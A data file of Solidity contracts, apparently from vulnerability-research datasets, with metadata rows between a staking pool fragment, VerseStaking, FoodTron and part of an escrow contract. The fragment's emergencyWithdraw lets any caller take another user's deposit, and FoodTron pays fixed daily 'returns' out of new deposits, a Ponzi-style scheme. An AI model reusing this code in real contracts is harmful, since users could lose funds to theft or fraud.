poolInfo.accconPerShare = poolInfo.accconPerShare.add(conReward.mul(1e12).div(lpSupply));
poolInfo.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for con allocation.
function deposit(uint256 _amount) public nonReentrant {
UserInfo storage user = userInfo[msg.sender];
updatePool();
IERC20(poolInfo.lpToken).transferFrom(msg.sender,
address(this),
_amount);
user.amount = user.amount.add(_amount);
if (user.firstTimeDeposited == 0) {
user.firstTimeDeposited = block.timestamp;
}
user.lastTimeDeposited = block.timestamp;
user.rewardDebt = _amount.mul(poolInfo.accconPerShare).div(1e12).add(user.rewardDebt);
emit Deposit(msg.sender, _amount);
}
// Claim pending rewards
function harvest(address account) external nonReentrant {
require(account == msg.sender, "Account not signer");
UserInfo storage user = userInfo[account];
updatePool();
uint256 pending = user
.amount
.mul(poolInfo.accconPerShare)
.div(1e12)
.sub(user.rewardDebt);
user.rewardDebt = user.amount.mul(poolInfo.accconPerShare).div(1e12);
require(pending > 0, "Nothing to claim");
if (pending > 0) {
_safeconTransfer(account, pending);
}
emit Harvest(account, pending);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _amount) external nonReentrant {
require(_amount > 0, "amount 0");
UserInfo storage user = userInfo[msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool();
uint256 pending = user
.amount
.mul(poolInfo.accconPerShare)
.div(1e12)
.sub(user.rewardDebt);
user.rewardDebt = user.amount.mul(poolInfo.accconPerShare).div(1e12);
if (pending > 0) {
_safeconTransfer(msg.sender, pending);
}
user.rewardDebt = user
.amount
.sub(_amount)
.mul(poolInfo.accconPerShare)
.div(1e12);
user.amount = user.amount.sub(_amount);
IERC20(poolInfo.lpToken).transfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _amount);
}
function withdrawOnBehalf(address account, uint256 _amount)
external
nonReentrant
{
require(msg.sender == nodePurchaser, "Must be Node Purchaser");
require(_amount > 0, "amount 0");
UserInfo storage user = userInfo[account];
require(user.amount >= _amount, "withdraw: not good");
updatePool();
uint256 pending = user
.amount
.mul(poolInfo.accconPerShare)
.div(1e12)
.sub(user.rewardDebt);
user.rewardDebt = user.amount.mul(poolInfo.accconPerShare).div(1e12);
if (pending > 0) {
_safeconTransfer(account, pending);
}
user.rewardDebt = user
.amount
.sub(_amount)
.mul(poolInfo.accconPerShare)
.div(1e12);
user.amount = user.amount.sub(_amount);
IERC20(poolInfo.lpToken).transfer(account, _amount);
emit Withdraw(account, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(address account) public {
UserInfo storage user = userInfo[account];
IERC20(poolInfo.lpToken).transfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(account, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe con transfer function, just in case if rounding error causes pool to not have enough cons.
function _safeconTransfer(address _to, uint256 _amount) internal {
uint256 conBal = IERC20(con).balanceOf(address(this));
if (_amount > conBal) {
IERC20(con).transferFrom(rewardsPool, _to, conBal);
} else {
IERC20(con).transferFrom(rewardsPool, _to, _amount);
}
}
function updateLPToken(address _lpToken) external onlyOwner {
poolInfo.lpToken = _lpToken;
}
function setConToken(address _token) external onlyOwner {
con = _token;
}
function setNodePurchaser(address _purchaser) external onlyOwner {
nodePurchaser = _purchaser;
}
function setStartBlock(uint256 _start) external onlyOwner {
startBlock = _start;
}
function setEndBlock(uint256 _block) external onlyOwner {
rewardEndBlock = _block;
}
function setBonusFirstBlockEnd(uint256 _block) external onlyOwner {
bonusFirstEndBlock = _block;
}
function setBonusSecondBlockEnd(uint256 _block) external onlyOwner {
bonusSecondEndBlock = _block;
}
function setconPerBlock(uint256 rewards) external onlyOwner {
conPerBlock = rewards;
}
function setBonusMultiplier(uint256 first, uint256 second)
external
onlyOwner
{
firstMultiplier = first;
secondMultiplier = second;
}
function setPoolInfo(uint256 lastRewardTime) external onlyOwner {
poolInfo.lastRewardBlock = lastRewardTime;
}
}
| 93,957 | 181 |
92f011e9f1ffa606f9fc8dad4a8f1c3360e9de46f858525730e7b3171430176b
| 19,534 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3f/3fb7931f7bfa9f318fbf2346f568802a76531774_VerseStaking.sol
| 4,221 | 16,955 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsVERSE {
function rebase(uint256 profit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract VerseStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Verse;
address public immutable sVerse;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Verse,
address _sVerse,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Verse != address(0));
Verse = _Verse;
require(_sVerse != address(0));
sVerse = _sVerse;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Verse).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsVERSE(sVerse).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sVerse).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsVERSE(sVerse).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsVERSE(sVerse).balanceForGons(info.gons));
IERC20(Verse).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sVerse).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Verse).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsVERSE(sVerse).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IsVERSE(sVerse).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsVERSE(sVerse).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Verse).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sVerse).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sVerse).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 92,671 | 182 |
fdc6075c1c4a7867c6ee6afe7cd9bd0e6188427069ffcaad18e2c85a5efd17e3
| 10,571 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSGPNYQt3Rw4tTUqUBsfCDWTk1h797zZF6_FoodTron.sol
| 3,575 | 10,525 |
//SourceUnit: FoodTron.sol
// https://tronfood.store/
// Start Tue Mar 02 2021 17:00:00 GMT+0000
// The minimum deposit amount is 200 trx.
// Maximum investment amount 200000 trx.
// Profit per day:
// - 200 - 1200 trx - 1%
// - 1201 - 5000 trx - 1.1%
// - 5001 - 12000 trx - 1.3%
// - 12001 - 25000 trx - 1.7%
// - 25001 - 60000 trx - 2.3%
// - 60001 - 200000 trx - 3.3%
// 0.1% daily bonus without withdrow
// 3% max daily bonus without withdrow
// Delivery cost - 5% of the investment amount
// Delivery time - 24 hours
// During delivery, the daily bonus is not reset after withdrawal
// Developers take 10% (7,3) fees from each deposit
// Referral Tier - 4% - 2% -1%
pragma solidity ^0.6.0;
contract FoodTron {
using SafeMath for uint256;
uint256 constant public START_TIME = 1614704400; // start
uint256 constant public INVEST_MIN_AMOUNT = 200000000;//min 200 trx for investing
uint256 constant public INVEST_MAX_AMOUNT = 200000000000;//Maximum investment amount 200000 trx.
uint256 constant public MAX_HOLD_BONUS = 30;//max daily bonus without withdrow
uint256 constant public COST_DELIVERY = 50;//delivery cost 5% of the total investment
uint256[] public REFERRAL_PERCENTS = [40, 20, 10];//1lvl=4%,2lvl=2%,3lvl=1%
uint256 constant public MARKETING_FEE = 70;//7% to marketing wallet
uint256 constant public PROJECT_FEE = 30;//3% to project wallet
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public marketingBank;
uint256 public projectBank;
address payable public marketingAddress;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 timestamp;
}
struct User {
Deposit[] deposits;
uint256 withdrawn;
uint256 checkpoint;
uint256 tw;
uint256 delivery;
uint256[3] fromref;
uint256 fromref_balance;
address referrer;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable marketingAddr, address payable projectAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
}
function invest(address referrer) public payable {
require(block.timestamp >= START_TIME,"Start of the project on February 2, 2021 at 05.00 pm (UTC)");
require(msg.value >= INVEST_MIN_AMOUNT,"Min amount 200 trx");
require(msg.value + getUserTotalInvested(msg.sender) <= INVEST_MAX_AMOUNT,"Total maximum investment amount 200,000 trx");
marketingBank = marketingBank.add((msg.value).mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
projectBank = projectBank.add((msg.value).mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer == address(0)) {
user.referrer = projectAddress;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].fromref[i] = users[upline].fromref[i].add(amount);
users[upline].fromref_balance = users[upline].fromref_balance.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.tw = block.timestamp;
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value,block.timestamp));
totalInvested = totalInvested.add(msg.value);
emit NewDeposit(msg.sender,msg.value);
}
function buyDelivery() public payable {
uint256 invested = getUserTotalInvested(msg.sender);
require(invested >= INVEST_MIN_AMOUNT,"You have no investment");
uint256 delivery = getUserDelivery(msg.sender);
require((block.timestamp).sub(delivery) > TIME_STEP,"You already have a delivery");
uint256 cost = getCostDelivery(msg.sender);
require(cost == msg.value,"Delivery payment amount error");
User storage user = users[msg.sender];
user.delivery = block.timestamp;
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 dividends = getUserDividends(msg.sender);
require(dividends > 0, "User has no dividends");
uint256 contractBalance = getContractBalance();
uint256 balance = contractBalance.sub(marketingBank).sub(projectBank);
if (balance < dividends) {
dividends = balance;
}
user.checkpoint = block.timestamp;
uint256 delivery = getUserDelivery(msg.sender);
if((block.timestamp).sub(delivery) > TIME_STEP){
user.tw = block.timestamp;
}
user.withdrawn = user.withdrawn.add(dividends);
msg.sender.transfer(dividends);
totalWithdrawn = totalWithdrawn.add(dividends);
emit Withdrawn(msg.sender,dividends);
}
function withdrawRef() public {
User storage user = users[msg.sender];
require(user.fromref_balance > 0);
uint256 amount = user.fromref_balance;
uint256 contractBalance = getContractBalance();
uint256 balance = contractBalance.sub(marketingBank).sub(projectBank);
if (balance < amount) {
amount = balance;
}
msg.sender.transfer(amount);
emit Withdrawn(msg.sender,amount);
totalWithdrawn = totalWithdrawn.add(amount);
user.fromref_balance = user.fromref_balance.sub(amount);
}
function withdrawMarketing() public {
uint256 contractBalance = getContractBalance();
uint256 balance = contractBalance.sub(marketingBank).sub(projectBank);
if (balance < marketingBank) {
marketingBank = balance;
}
marketingAddress.transfer(marketingBank);
marketingBank = 0;
}
function withdrawProject() public {
uint256 contractBalance = getContractBalance();
uint256 balance = contractBalance.sub(marketingBank).sub(projectBank);
if (balance < projectBank) {
projectBank = balance;
}
projectAddress.transfer(projectBank);
projectBank = 0;
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getUserDelivery(address userAddress) public view returns (uint256) {
return users[userAddress].delivery;
}
function getCostDelivery(address userAddress) public view returns (uint256) {
uint256 invested = getUserTotalInvested(userAddress);
uint256 cost = invested.mul(COST_DELIVERY).div(PERCENTS_DIVIDER);
return cost;
}
function getUserDividends(address userAddress) public view returns (uint256) {
uint256 invested = getUserTotalInvested(userAddress);
uint256 percent = getUserPercentRate(userAddress);
uint256 checkpoint = getUserCheckpoint(userAddress);
return (invested.mul(percent).div(PERCENTS_DIVIDER)).mul(block.timestamp.sub(checkpoint)).div(TIME_STEP);
}
function getUserTotalInvested(address userAddress) public view returns(uint256) {
uint256 amount;
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
return amount;
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
return getUserPercent(userAddress).add(getUserPercentBonus(userAddress));
}
function getUserPercent(address userAddress) public view returns (uint256) {
uint256 invested = getUserTotalInvested(userAddress);
uint256 percent;
if(invested >= INVEST_MIN_AMOUNT){
if(invested <= 1200000000){
percent = 10;
}else if(invested <= 5000000000){
percent = 11;
}else if(invested <= 12000000000){
percent = 13;
}else if(invested <= 25000000000){
percent = 17;
}else if(invested <= 60000000000){
percent = 23;
}else if(invested <= 200000000000){
percent = 33;
}
}
return percent;
}
function getUserPercentBonus(address userAddress) public view returns (uint256) {
uint256 percent;
if(getUserTotalInvested(userAddress) > 0){
if(users[userAddress].delivery + TIME_STEP > users[userAddress].checkpoint){
percent = ((block.timestamp).sub(users[userAddress].tw)).div(TIME_STEP);
}else{
percent = ((block.timestamp).sub(users[userAddress].checkpoint)).div(TIME_STEP);
}
if(percent > MAX_HOLD_BONUS){
percent = MAX_HOLD_BONUS;
}
}
return percent;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserFromref(address userAddress, uint256 level) public view returns(uint256) {
return users[userAddress].fromref[level];
}
function getUserFromrefBalance(address userAddress) public view returns(uint256) {
return users[userAddress].fromref_balance;
}
function getUserTw(address userAddress) public view returns(uint256) {
return users[userAddress].tw;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256) {
return (users[userAddress].deposits[index].amount, users[userAddress].deposits[index].timestamp);
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 285,736 | 183 |
d22701adf1ba26eed3f31c5cc8751fd0d6db6f8cd7f28fc45afbf3720d73e51d
| 26,895 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb56c725467c7eec851b1a4a4222d930932b04e89.sol
| 5,245 | 26,739 |
pragma solidity ^0.4.11;
// version (LAVA-Q)
contract E4RowEscrow {
event StatEvent(string msg);
event StatEventI(string msg, uint val);
event StatEventA(string msg, address addr);
uint constant MAX_PLAYERS = 5;
enum EndReason {erWinner, erTimeOut, erCancel}
enum SettingStateValue {debug, release, lockedRelease}
struct gameInstance {
bool active; // active
bool allocd; // allocated already.
EndReason reasonEnded; // enum reason of ended
uint8 numPlayers;
uint128 totalPot; // total of all bets
uint128[5] playerPots; // individual deposits
address[5] players; // player addrs
uint lastMoved; // time game last moved
}
struct arbiter {
mapping (uint => uint) gameIndexes; // game handles
bool registered;
bool locked;
uint8 numPlayers;
uint16 arbToken; // 2 bytes
uint16 escFeePctX10; // escrow fee -- frac of 1000
uint16 arbFeePctX10; // arbiter fee -- frac of 1000
uint32 gameSlots; // a counter of alloc'd game structs (they can be reused)
uint128 feeCap; // max fee (escrow + arb) in wei
uint128 arbHoldover; // hold accumulated gas credits and arbiter fees
}
address public owner; // owner is address that deployed contract
address public tokenPartner; // the address of partner that receives rake fees
uint public numArbiters; // number of arbiters
int numGamesStarted; // total stats from all arbiters
uint public numGamesCompleted; // ...
uint public numGamesCanceled; // tied and canceled
uint public numGamesTimedOut; // ...
uint public houseFeeHoldover; // hold fee till threshold
uint public lastPayoutTime; // timestamp of last payout time
// configurables
uint public gameTimeOut;
uint public registrationFee;
uint public houseFeeThreshold;
uint public payoutInterval;
uint acctCallGas; // for payments to simple accts
uint tokCallGas; // for calling token contract. eg fee payout
uint public startGameGas; // gas consumed by startGame
uint public winnerDecidedGas; // gas consumed by winnerDecided
SettingStateValue public settingsState = SettingStateValue.debug;
mapping (address => arbiter) arbiters;
mapping (uint => address) arbiterTokens;
mapping (uint => address) arbiterIndexes;
mapping (uint => gameInstance) games;
function E4RowEscrow() public
{
owner = msg.sender;
}
function applySettings(SettingStateValue _state, uint _fee, uint _threshold, uint _timeout, uint _interval, uint _startGameGas, uint _winnerDecidedGas)
{
if (msg.sender != owner)
throw;
// ----------------------------------------------
// these items are tweakable for game optimization
// ----------------------------------------------
houseFeeThreshold = _threshold;
gameTimeOut = _timeout;
payoutInterval = _interval;
if (settingsState == SettingStateValue.lockedRelease) {
StatEvent("Settings Tweaked");
return;
}
settingsState = _state;
registrationFee = _fee;
// set default op gas - any futher settings done in set up gas
acctCallGas = 21000;
tokCallGas = 360000;
// set gas consumption - these should never change (except gas price)
startGameGas = _startGameGas;
winnerDecidedGas = _winnerDecidedGas;
StatEvent("Settings Changed");
}
//-----------------------------
// return an arbiter token from an hGame
//-----------------------------
function ArbTokFromHGame(uint _hGame) returns (uint _tok)
{
_tok = (_hGame / (2 ** 48)) & 0xffff;
}
//-----------------------------
// suicide the contract, not called for release
//-----------------------------
function HaraKiri()
{
if ((msg.sender == owner) && (settingsState != SettingStateValue.lockedRelease))
suicide(tokenPartner);
else
StatEvent("Kill attempt failed");
}
//-----------------------------
// default function
// who are we to look a gift-horse in the mouth?
//-----------------------------
function() payable {
StatEvent("thanks!");
houseFeeHoldover += msg.value;
}
function blackHole() payable {
StatEvent("thanks!#2");
}
//------------------------------------------------------
// check active game and valid player, return player index
//-------------------------------------------------------
function validPlayer(uint _hGame, address _addr) internal returns(bool _valid, uint _pidx)
{
_valid = false;
if (activeGame(_hGame)) {
for (uint i = 0; i < games[_hGame].numPlayers; i++) {
if (games[_hGame].players[i] == _addr) {
_valid=true;
_pidx = i;
break;
}
}
}
}
//------------------------------------------------------
// check the arbiter is valid by comparing token
//------------------------------------------------------
function validArb(address _addr, uint _tok) internal returns(bool _valid)
{
_valid = false;
if ((arbiters[_addr].registered)
&& (arbiters[_addr].arbToken == _tok))
_valid = true;
}
//------------------------------------------------------
// check the arbiter is valid without comparing token
//------------------------------------------------------
function validArb2(address _addr) internal returns(bool _valid)
{
_valid = false;
if (arbiters[_addr].registered)
_valid = true;
}
//------------------------------------------------------
// check if arbiter is locked out
//------------------------------------------------------
function arbLocked(address _addr) internal returns(bool _locked)
{
_locked = false;
if (validArb2(_addr))
_locked = arbiters[_addr].locked;
}
//------------------------------------------------------
// return if game is active
//------------------------------------------------------
function activeGame(uint _hGame) internal returns(bool _valid)
{
_valid = false;
if ((_hGame > 0)
&& (games[_hGame].active))
_valid = true;
}
//------------------------------------------------------
// register game arbiter, max players of 5, pass in exact registration fee
//------------------------------------------------------
